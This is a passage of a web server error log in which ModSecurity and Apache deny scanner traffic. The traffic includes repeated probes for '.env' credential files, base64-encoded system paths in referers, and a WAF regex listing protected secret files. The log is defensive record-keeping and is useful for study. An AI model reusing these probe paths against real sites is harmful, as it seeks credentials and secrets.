"www.sunshinemanage.kbm-realty.com"] [uri "/api/.env"] [unique_id "ai3xm8TA7b1mZrmcA-8qSAAAAl0"] [Sat Jun 13 18:11:07.914956 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.30:34994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:07.915828 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.30:34994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:07.923034 2026] [security2:error] [pid 531797:tid 531888] [remote 17.22.253.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xm8TA7b1mZrmcA-8qSgACPBg"] [Sat Jun 13 18:11:07.967623 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:07.968065 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:11:08.011545 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.32:49525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:08.012693 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.32:49525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:08.016498 2026] [security2:error] [pid 531797:tid 532021] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/backend/.env"] [unique_id "ai3xnMTA7b1mZrmcA-8qTQAAAi0"] [Sat Jun 13 18:11:08.083023 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:11:08.083442 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:11:08.277691 2026] [security2:error] [pid 531797:tid 532023] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/laravel/.env"] [unique_id "ai3xnMTA7b1mZrmcA-8qVQAAAi8"] [Sat Jun 13 18:11:08.427378 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.51:56336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:08.427671 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.51:56336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:08.481994 2026] [security2:error] [pid 531797:tid 532026] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/app/.env"] [unique_id "ai3xnMTA7b1mZrmcA-8qXwAAAjI"] [Sat Jun 13 18:11:08.489383 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:11:08.489832 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:11:08.655794 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:11:08.656077 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQ= [Sat Jun 13 18:11:08.683490 2026] [security2:error] [pid 531797:tid 532097] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/web/.env"] [unique_id "ai3xnMTA7b1mZrmcA-8qYgAAAnY"] [Sat Jun 13 18:11:08.734218 2026] [security2:error] [pid 531797:tid 531948] [remote 17.246.19.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnMTA7b1mZrmcA-8qYwACcFQ"] [Sat Jun 13 18:11:08.897275 2026] [security2:error] [pid 531797:tid 532011] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/src/.env"] [unique_id "ai3xnMTA7b1mZrmcA-8qaQAAAiM"] [Sat Jun 13 18:11:08.914582 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.27:52818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:08.914849 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.27:52818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:09.018043 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:11:09.018134 2026] [security2:error] [pid 531155:tid 531398] [client 20.151.217.54:23786] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.calexpressmovers.com"] [uri "/wpconf.php"] [unique_id "ai3xnSmiP80klyS0Nnr8NAAAAXs"] [Sat Jun 13 18:11:09.018477 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:11:09.019133 2026] [security2:error] [pid 531155:tid 531184] [remote 17.241.219.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnSmiP80klyS0Nnr8NQABeBw"] [Sat Jun 13 18:11:09.048830 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.47:47968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:09.049109 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.47:47968] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:09.069070 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.106:49565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:09.069512 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.106:49565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:09.153473 2026] [access_compat:error] [pid 531797:tid 531900] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:09.153775 2026] [access_compat:error] [pid 531797:tid 531900] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:09.159047 2026] [security2:error] [pid 531797:tid 532040] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/server/.env"] [unique_id "ai3xncTA7b1mZrmcA-8qcgAAAj8"] [Sat Jun 13 18:11:09.315166 2026] [security2:error] [pid 531155:tid 531211] [remote 17.22.237.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnSmiP80klyS0Nnr8QAABcDc"] [Sat Jun 13 18:11:09.349293 2026] [security2:error] [pid 531797:tid 532071] [client 194.195.210.47:42275] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "50.87.63.32"] [uri "/"] [unique_id "ai3xncTA7b1mZrmcA-8qdQAAAl0"] [Sat Jun 13 18:11:09.380147 2026] [authz_core:error] [pid 531797:tid 531999] [client 66.132.195.31:19626] AH01630: client denied by server configuration: /home4/golden38/public_html/php.ini [Sat Jun 13 18:11:09.382607 2026] [authz_core:error] [pid 531797:tid 531999] [client 66.132.195.31:19626] AH01630: client denied by server configuration: /home4/golden38/public_html/error_log [Sat Jun 13 18:11:09.391891 2026] [security2:error] [pid 531797:tid 532116] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/config/.env"] [unique_id "ai3xncTA7b1mZrmcA-8qeQAAAok"] [Sat Jun 13 18:11:09.418508 2026] [security2:error] [pid 531155:tid 531330] [client 172.171.3.232:16051] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/crgio.php"] [unique_id "ai3xnSmiP80klyS0Nnr8RQAAATc"] [Sat Jun 13 18:11:09.549999 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2U= [Sat Jun 13 18:11:09.550475 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2U= [Sat Jun 13 18:11:09.619283 2026] [security2:error] [pid 531797:tid 532126] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/shared/.env"] [unique_id "ai3xncTA7b1mZrmcA-8qgAAAApE"] [Sat Jun 13 18:11:09.621891 2026] [security2:error] [pid 531797:tid 531868] [remote 51.79.254.190:42896] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.254.79.51.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "bioxco.com"] [uri "/wp-login.php"] [unique_id "ai3xncTA7b1mZrmcA-8qfwACGAQ"] [Sat Jun 13 18:11:09.638350 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.99:25908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:09.638744 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.99:25908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:09.695697 2026] [access_compat:error] [pid 531797:tid 531973] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:09.695980 2026] [access_compat:error] [pid 531797:tid 531973] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:09.744415 2026] [security2:error] [pid 531155:tid 531389] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_create-1.phpt"] [unique_id "ai3xnSmiP80klyS0Nnr8UAAAAXI"] [Sat Jun 13 18:11:09.782453 2026] [security2:error] [pid 531797:tid 531887] [remote 17.246.23.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xncTA7b1mZrmcA-8qhgACZRc"] [Sat Jun 13 18:11:09.825233 2026] [security2:error] [pid 531797:tid 532121] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/public/.env"] [unique_id "ai3xncTA7b1mZrmcA-8qhwAAAo0"] [Sat Jun 13 18:11:09.988681 2026] [security2:error] [pid 531155:tid 531157] [remote 17.241.219.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnSmiP80klyS0Nnr8VQABLQE"] [Sat Jun 13 18:11:10.059612 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:10.060093 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 